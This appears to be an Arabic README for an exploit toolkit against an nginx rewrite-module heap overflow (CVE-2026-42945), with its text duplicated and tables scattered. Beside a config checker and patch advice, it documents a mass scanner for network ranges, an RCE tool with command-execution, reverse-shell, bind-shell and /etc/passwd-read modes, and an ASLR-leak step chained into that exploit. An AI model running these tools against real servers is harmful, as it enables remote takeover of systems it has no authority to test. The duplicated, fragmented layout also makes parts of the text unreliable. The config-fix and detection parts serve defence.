
CVE-2026-42945 Nginx Rift
مجموعة أدوات متكاملة لإثبات المفهوم (PoC) لثغرة CVE-2026-42945 (Nginx Rift)، وهي ثغرة حرجة من نوع تجاوز سعة المخزن المؤقت في الكومة (Heap Buffer Overflow) في وحدة ngx_http_rewrite_module في Nginx.
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-42945 |
| الاسم | Nginx Rift |
| النوع | تجاوز سعة المخزن المؤقت في الكومة |
| المكون | ngx_http_rewrite_module |
| الخطورة | حرجة (CVSS 9.2) |
| المتأثر | Nginx 0.6.27 - 1.30.0 |
| المُصحَّح | Nginx 1.30.1 / 1.31.0 |
توجد الثغرة بسبب خطأ في حساب الحجم بين تمريرين داخليين عند معالجة قواعد إعادة الكتابة (rewrite). إذا كان التكوين يستخدم:
$1، $2، إلخ.)?يحسب Nginx حجم المخزن المؤقت المطلوب بشكل خاطئ خلال التمرير الأول، ويكتب خارج حدود المخزن المؤقت المخصص في الكومة خلال التمرير الثاني.
server {
# VULNERABLE: Unnamed capture ($1) + '?' in replacement
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# SAFE: Named capture (?P<path>) replaces $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py - أداة PoC الأساسيةأداة مسح ضوئي واستغلال تستهدف هدفًا واحدًا.
الميزات:
Serverالاستخدام:
# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com
# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py - الماسح الضوئي الجماعيماسح ضوئي مجمّع لفحص أهداف متعددة في وقت واحد.
الميزات:
الاستخدام:
# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json
# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
تنسيق ملف الأهداف:
# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py - محلل التكوينمسح ملفات تكوين Nginx المحلية بحثًا عن أنماط إعادة كتابة ضعيفة.
الميزات:
nginx.conf وتتبُّع توجيهات include? في سلاسل الاستبدالالاستخدام:
# Scan single file
python config_checker.py /etc/nginx/nginx.conf
# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/
# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf
# Auto-detect common Nginx paths
python config_checker.py
enhanced_poc.py - أداة PoC المحسّنة لاستغلال التحكم عن بُعد (RCE)أداة استغلال متقدمة تستند إلى الأبحاث الرسمية من depthfirst، وتدعم أنماط إعادة كتابة وأوضاع استغلال متعددة.
الميزات:
/api/، /redirect/، /user/، إلخ.)+، &، =، %)cmd / shell / bind / readngx_pool_cleanup_s مزيفالاستخدام:
# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect
# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd
# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
تفاصيل وضع الاستغلال:
تكوين العناوين (فقط في بيئات تم تعطيل ASLR فيها):
--heap-base: القاعدة الأساسية للكومة المستهدفة (مثل 0x555555559000)--libc-base: عنوان قاعدة libc (مثل 0x7ffff77ba000)--system-addr: عنوان system() مباشرة (يتجاوز libc-base)aslr_leak_detector.py - كاشف تسرب ASLRماسح ضوئي شامل لكشف تسرب المعلومات الذي يمكنه تجاوز حماية ASLR.
الميزات:
/nginx_status، /actuator/*، إلخ.)enhanced_poc.py عبر تقرير JSONالاستخدام:
# Scan single target
python aslr_leak_detector.py -t target.example.com
# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick
التكامل مع PoC المحسَّنة:
# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json
# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
تحدد أداة PoC الثغرة من خلال هذه المؤشرات:
| المؤشر | الوصف |
|---|---|
| انقطاع الاتصال | يغلق الهدف الاتصال بشكل غير متوقع (تعطل العامل) |
لا يتطلب أي تبعيات خارجية. يستخدم فقط مكتبات Python القياسية.
# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945
# Verify Python version (3.7+ recommended)
python3 --version
# Run any tool
python3 nginx_rift_poc.py --help
إذا لم يكن التحديث ممكنًا فورًا، استبدل الالتقاطات غير المسماة بالتقاطات مسماة:
# BEFORE (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# AFTER (SAFE)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
نشر قواعد WAF لحظر الطلبات المشوهة التي تستهدف أنماط إعادة الكتابة الضعيفة.
هذه المجموعة مخصصة فقط لاختبارات الأمان المصرح بها وأغراض البحث.
تم اكتشاف هذا الخلل مع ثلاث مشكلات أخرى لتلف الذاكرة:
| CVE | الوصف | الخطورة |
|---|---|---|
| CVE-2026-42946 | خلل في تخصيص الذاكرة في SCGI/UWSGI | عالية |
| CVE-2026-40701 | استخدام بعد التحرير (Use-after-free) في تحليل DNS لـ OCSP | متوسطة |
| CVE-2026-42934 | قراءة خارج الحدود في تحليل UTF-8 |
هذا المشروع مقدم لأغراض تعليمية واختبارات أمان مصرح بها.
المؤلف: فريق أبحاث الأمان التاريخ: 2026-06-11
CVE-2026-42945 (Nginx Rift) هي ثغرة تجاوز سعة المخزن المؤقت في الكومة في وحدة ngx_http_rewrite_module في Nginx، موجودة منذ عام 2008 (Nginx 0.6.27)، وظلت كامنة لمدة 18 عامًا تقريبًا.
عند معالجة قواعد إعادة الكتابة (rewrite)، يقوم Nginx بعمليتي تحليل داخليتين. إذا كان التكوين يحقق الشرطين التاليين في نفس الوقت:
$1، $2)?يحسب Nginx حجم المخزن المؤقت بشكل خاطئ في التمرير الأول، ويكتب بيانات تتجاوز حدود المخزن المؤقت في الكومة في التمرير الثاني، مما يؤدي إلى تجاوز الكومة.
server {
# به ثغرة: التقاط غير مسمى $1 + ? في سلسلة الاستبدال
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# آمن: استخدام التقاط مسمى (?P<name>) بدلاً من $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py — أداة PoC الأساسيةأداة اكتشاف واستغلال الثغرة على هدف واحد.
الوظائف:
Server في الاستجابةأمثلة الاستخدام:
# اكتشاف الإصدار واختبار الثغرة
python nginx_rift_poc.py -t target.example.com
# اختبار بحمولة مخصصة
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# هدف عبر HTTPS
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# إنشاء تكوين اختبار ضعيف
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# إنشاء تكوين آمن (مُصحَّح)
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py — الماسح الضوئي الجماعيأداة مسح ضوئي متعدد الخيوط لفحص أهداف متعددة في وقت واحد.
الوظائف:
أمثلة الاستخدام:
# مسح من ملف أهداف (تنسيق: host:port في كل سطر)
python nginx_rift_scanner.py -f targets.txt -o results.json
# مسح هدف واحد
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# مسح نطاق شبكة
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# مسح عالي السرعة (100 خيط)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
تنسيق ملف الأهداف:
# الأسطر التي تبدأ بـ # هي تعليقات
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py — مدقق ملفات التكوينمسح ملفات تكوين Nginx المحلية بحثًا عن أنماط إعادة كتابة ضعيفة.
الوظائف:
nginx.conf وتتبع توجيهات include بشكل متكرر?أمثلة الاستخدام:
# مسح ملف واحد
python config_checker.py /etc/nginx/nginx.conf
# مسح دليل بشكل متكرر
python config_checker.py -d /etc/nginx/conf.d/
# إصلاح التكوينات الضعيفة تلقائيًا (نسخ احتياطية تلقائية)
python config_checker.py --fix /etc/nginx/nginx.conf
# اكتشاف مسارات Nginx الشائعة تلقائيًا
python config_checker.py
enhanced_poc.py — أداة PoC المحسّنة لاستغلال التحكم عن بُعد (RCE)أداة استغلال متقدمة تستند إلى الأبحاث الرسمية من depthfirst، وتدعم أنماط إعادة كتابة وطرق استغلال متعددة.
الوظائف:
/api/، /redirect/، /user/، إلخ.)+، &، =، %)cmd / shell / bind / readngx_pool_cleanup_s مزيفجدول توسيع حرف تشغيل التجاوز:
أمثلة الاستخدام:
# كشف أنماط التكوين والإصدار تلقائيًا
python enhanced_poc.py -t target.example.com --detect
# تنفيذ أمر (بيئة تم تعطيل ASLR فيها)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# إنشاء شل عكسي
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# إنشاء شل مرتبط (يستمع على الهدف)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# قراءة ملف بعيد
python enhanced_poc.py -t target.example.com --read /etc/passwd
# عنوان أساس مخصص للكومة
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# استخدام & كحرف تشغيل التجاوز
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
شرح أوضاع الاستغلال:
تكوين العناوين (فقط لبيئات تم تعطيل ASLR فيها):
--heap-base: القاعدة الأساسية للكومة المستهدفة (مثل 0x555555559000)--libc-base: عنوان قاعدة libc (مثل 0x7ffff77ba000)--system-addr: عنوان system() مباشرة (يتجاوز libc-base)aslr_leak_detector.py — أداة كشف تسرب معلومات ASLRماسح ضوئي شامل لكشف تسرب المعلومات الذي يمكن استخدامه لتجاوز حماية ASLR.
الوظائف:
/nginx_status، /actuator/*، إلخ.)enhanced_poc.py عبر تقرير JSONأمثلة الاستخدام:
# مسح هدف واحد
python aslr_leak_detector.py -t target.example.com
# مسح عبر SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# مسح من ملف وحفظ التقرير
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# مسح نطاق شبكة
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# وضع المسح السريع
python aslr_leak_detector.py -t target.example.com --quick
الاستخدام المتكامل مع PoC المحسَّنة:
# الخطوة 1: كشف التسربات
python aslr_leak_detector.py -t target.example.com -o leak.json
# الخطوة 2: استخدام العناوين المسربة في الاستغلال
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
تحدد أداة PoC الثغرة من خلال الظواهر التالية:
| مؤشر الكشف | الشرح |
|---|---|
| انقطاع الاتصال | يغلق الهدف الاتصال بشكل غير طبيعي (تعطل عملية Worker) |
لا حاجة لتثبيت أي تبعيات خارجية، فقط مكتبات Python القياسية.
# استنساخ أو تنزيل مجموعة الأدوات
git clone <repository-url>
cd CVE-2026-42945
# التحقق من إصدار Python (يوصى بـ 3.7+)
python3 --version
# عرض تعليمات الأداة
python3 nginx_rift_poc.py --help
استبدل الالتقاطات غير المسماة بالتقاطات مسماة:
# قبل التعديل (به ثغرة)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# بعد التعديل (آمن)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
قم بنشر قواعد WAF لاعتراض الطلبات الخبيثة التي تستهدف أنماط إعادة الكتابة الضعيفة.
هذه المجموعة مخصصة فقط لاختبارات الأمن المصرح بها ولأغراض البحث.
تم اكتشاف هذه الثغرة ضمن سلسلة من مشاكل تلف الذاكرة التي اكتشفها نظام التحليل الثابت المدعوم بالذكاء الاصطناعي من depthfirst:
| CVE | الوصف | المستوى |
|---|---|---|
| CVE-2026-42946 | عيب في تخصيص الذاكرة في SCGI/UWSGI | عالي |
| CVE-2026-40701 | استخدام بعد التحرير (UAF) في تحليل DNS لـ OCSP | متوسط |
| CVE-2026-42934 | قراءة خارج الحدود في تحليل UTF-8 | متوسط |
هذا المشروع مقدم لأغراض تعليمية واختبارات أمنية مصرح بها فقط.
المؤلف: فريق أبحاث الأمن التاريخ: 2026-06-11
| الوضع | الوصف | المخرجات |
|---|
cmd | تنفيذ أمر shell واحد | مخرجات الأمر على الهدف |
shell | إنشاء shell عكسي | يتصل بـ --listen-ip:listen-port |
bind | إنشاء shell مرتبط على الهدف | يستمع على --listen-port على الهدف |
read | قراءة ملف من الهدف | يكتب المحتوى إلى /tmp/nginx_rift_read |
| أخطاء البوابة | استجابات HTTP 502/503/504 (توقف عملية العامل) |
| استجابات بطيئة | زيادة كبيرة في وقت الاستجابة (استرداد بعد التعطل) |
| استجابات فارغة | اختفاء محتوى الاستجابة مقارنة بالخط الأساسي |
| تطابق الإصدار | إصدار Nginx المكتشف ضمن النطاق المعرض للثغرة |
| المنتج | المتأثر | المُصحَّح |
|---|
| Nginx مفتوح المصدر | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | جميع الإصدارات قبل التصحيحات | قم بالتحديث إلى الإصدار المصحَّح |
| Nginx Gateway Fabric | جميع الإصدارات قبل التصحيحات | قم بالتحديث إلى الإصدار المصحَّح |
| متوسطة |
| الحقل | التفاصيل |
|---|
| معرف CVE | CVE-2026-42945 |
| اسم الثغرة | Nginx Rift |
| نوع الثغرة | تجاوز سعة المخزن المؤقت في الكومة |
| المكون المتأثر | ngx_http_rewrite_module |
| مستوى الخطورة | حرجة (CVSS 9.2) |
| الإصدارات المتأثرة | Nginx 0.6.27 - 1.30.0 |
| الإصدارات المُصحَّحة | Nginx 1.30.1 / 1.31.0 |
| الحرف | التوسيع | تجاوز لكل حرف |
|---|
+ | %2B | +2 بايت |
& | %26 | +2 بايت |
= | %3D | +2 بايت |
% | %25 | +2 بايت |
| مسافة | %20 | +2 بايت |
| الوضع | الشرح | المخرجات |
|---|
cmd | تنفيذ أمر شل واحد | يتم حفظ مخرجات الأمر على الهدف |
shell | إنشاء شل عكسي | يتصل بـ --listen-ip:listen-port |
bind | إنشاء شل مرتبط | يستمع على --listen-port على الهدف |
read | قراءة ملف من الهدف | يكتب المحتوى إلى /tmp/nginx_rift_read |
| خطأ البوابة | إرجاع HTTP 502/503/504 (توقفت عملية Worker) |
| بطء الاستجابة | زيادة ملحوظة في وقت الاستجابة (إعادة تشغيل تلقائي بعد العطل) |
| استجابة فارغة | مقارنة بالخط الأساسي، جسم الاستجابة فارغ (Worker تعطل) |
| تطابق الإصدار | إصدار Nginx المكتشف ضمن النطاق المعرض للثغرة |
| المنتج | الإصدار المتأثر | الإصدار المُصحَّح |
|---|
| Nginx مفتوح المصدر | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | جميع الإصدارات غير المُصحَّحة | التحديث إلى الإصدار المُصحَّح |
| Nginx Gateway Fabric | جميع الإصدارات غير المُصحَّحة | التحديث إلى الإصدار المُصحَّح |